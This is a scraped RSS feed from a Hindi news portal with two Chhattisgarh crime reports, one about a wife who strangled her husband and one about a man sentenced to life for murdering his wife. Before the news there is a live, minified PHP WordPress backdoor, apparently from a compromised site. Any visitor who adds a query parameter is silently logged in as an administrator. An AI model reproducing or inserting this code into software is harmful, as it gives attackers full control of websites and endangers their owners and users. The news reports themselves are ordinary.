// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); wife killed – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Wed, 13 Nov 2024 15:25:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 छत्तीसगढ़-जशपुर में पति ने शराब लाने बेच दिया चावल, पत्नी ने कर दी हत्या https://pratyushaashakinayikiran.com/?p=98022 Wed, 13 Nov 2024 15:25:00 +0000 https://pratyushaashakinayikiran.com/?p=98022 जशपुर.

जशपुर जिले के सोनक्यारी क्षेत्र के ग्राम चिरोटोली शैला में घरेलू विवाद के कारण हुई एक हत्या ने क्षेत्र में सनसनी फैला दी। घर में रखे चावल को बेचने को लेकर हुए विवाद में पत्नी ने अपने शराबी पति की गमछे से गला घोंटकर हत्या कर दी। घटना के बाद आरोपी महिला जंगल में छिप गई थी, लेकिन जशपुर पुलिस ने तत्परता से कार्रवाई कर उसे गिरफ्तार कर लिया है।

सन्ना थाना प्रभारी बृजेश यादव ने बताया मृतक वकील राम आदतन शराबी था और उसकी पत्नी बिरसी बाई के बीच अक्सर विवाद होता रहता था। घटना 10 नवंबर की शाम करीब 7 बजे की है, जब दिन में सरकारी चावल को शराब पीने के लिए पत्नी को बिना बताए बेच दिया। रात को पत्नी ने  इसको लेकर विवाद शुरू किया। इस दौरान बिरसी बाई ने अपने पति के गले में गमछा कसकर उसकी हत्या कर दी और घसीटते हुए कमरे से बाहर निकाल रही थी। इस वारदात के चश्मदीद मृतक वकील राम के बड़े भाई मद्रास राम ने अगले दिन चौकी सोनक्यारी में शिकायत दर्ज कराई, जिसमें घटना का विवरण देते हुए बताया कि अपने भाई को बचाने की कोशिश की लेकिन तब तक वकील राम की मौत हो चुकी थी। घटना की सूचना मिलने के बाद जशपुर पुलिस अधीक्षक शशि मोहन सिंह ने तुरंत तीन टीमों का गठन किया और आरोपी महिला की तलाश शुरू की। पुलिस टीमों ने जंगलों और संभावित ठिकानों पर सघन छापेमारी की। मुखबिर की सूचना पर पुलिस ने आरोपी महिला को जंगल से गिरफ्तार किया, जहां वह छिपी हुई थी और भूख लगने पर बाहर निकली थी। पूछताछ में बिरसी बाई ने अपने अपराध को स्वीकार किया। पुलिस ने घटना में प्रयुक्त गमछा भी बरामद कर लिया है। आरोपी महिला बिरसी बाई को भारतीय न्याय संहिता की धारा 103(1) के तहत गिरफ्तार कर न्यायिक अभिरक्षा में भेज दिया गया है। इस कार्रवाई में थाना सन्ना के थाना प्रभारी उप निरीक्षक बृजेश यादव, चौकी सोनक्यारी प्रभारी बालकृष्ण भगत सहित पुलिस टीम के अन्य सदस्यों का विशेष योगदान रहा। समाज में शराब पीने के कारण बढ़ते घरेलू विवादों के कारण होने वाली इस तरह की घटनाएं समाज के लिए गंभीर चिंता का विषय है।

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छत्तीसगढ़-जांजगीर चांपा में युवक को अजीवन कारावास और अर्थ दण्ड, चरित्र शंका पर टंगिया से की थी पत्नी की हत्या https://pratyushaashakinayikiran.com/?p=66694 Thu, 05 Sep 2024 19:15:00 +0000 https://pratyushaashakinayikiran.com/?p=66694 जांजगीर/चांपा.

जांजगीर चांपा जिले में पत्नी की चरित्र पर शंका कर लकड़ी के बेट और टंगीया से वार कर हत्या की थी। जिला न्यायधीश शक्ति सिंह राजपूत ने आरोपी पति सम्पत सारथी को धारा 302 के तहत दोषी करार देते हुए  अजीवन कारावास की सजा और 5 हजार रुपए के अर्थ दण्ड से दण्डित किया है। मामला शिवरीनारायण थाना क्षेत्र का है।

शिवरी नारायण थाने में चितरेखा सारथी ने 6.1.2023 को सूचना दी की  शाम 3 बजे उसकी बहन सुलेखा सारथी को उसके पति सम्पत सारथी चरित्र शंका को लेकर टंगीया और लकड़ी डंडा से मारपीट कर हत्या कर दिया है जिससे सिर और गर्दन के पर चोट के निशान है। थाने में धारा 302 के तहत मामला दर्ज कर आरोपी सम्पत सारथी को गिरफ्तार कर जेल भेज गया था। लोक अभियोजक राजेश पाण्डेय ने बताया की आरोपी पति सम्पत सारथी अपनी पत्नी सुलेखा सारथी के चरित्र शंका की बात को लेकर घर के पीछे बड़ी में विवाद हुआ,विवाद बढ़ने पर आरोपी सम्पत सारथी ने पास में रखे लकड़ी के डंडा से पीट पीट कर घायल किया जिससे वह जमीन पर गिर पड़ी और पास में रखे टंगीया से गले में मारा था। फिर घर में ताला लगाकर लड़के को चाबी देने चला गाया। जिस समय उसकी सास तेज गति से चल रही थी। 'और कह रहा था की कुछ भी हो जाय मेरा नाम आय।' आरोपी की ओर से विचार व्यक्त किया गया जिस पर आरोपी द्वारा अपनी पत्नी पर चरित्र शंका कर  टंगीया से वार कर उसकी हत्या की गई है वह अत्यंत ही गंभीर प्रकृति का अपराध है कठोर से कठोर दंड दिया जाए। जिला न्यायाधीश शक्ति सिंह राजपूत ने सम्पत सारथी को दोषी करार देते हुए अजीवन कारावास की सजा और 5 हजार रुपए के अर्थ दण्ड से दण्डित किया है अर्थ दंड की राशि अदा नहीं करने पर 6 माह का अतिरिक्त कारावास का आदेश जारी किया है।

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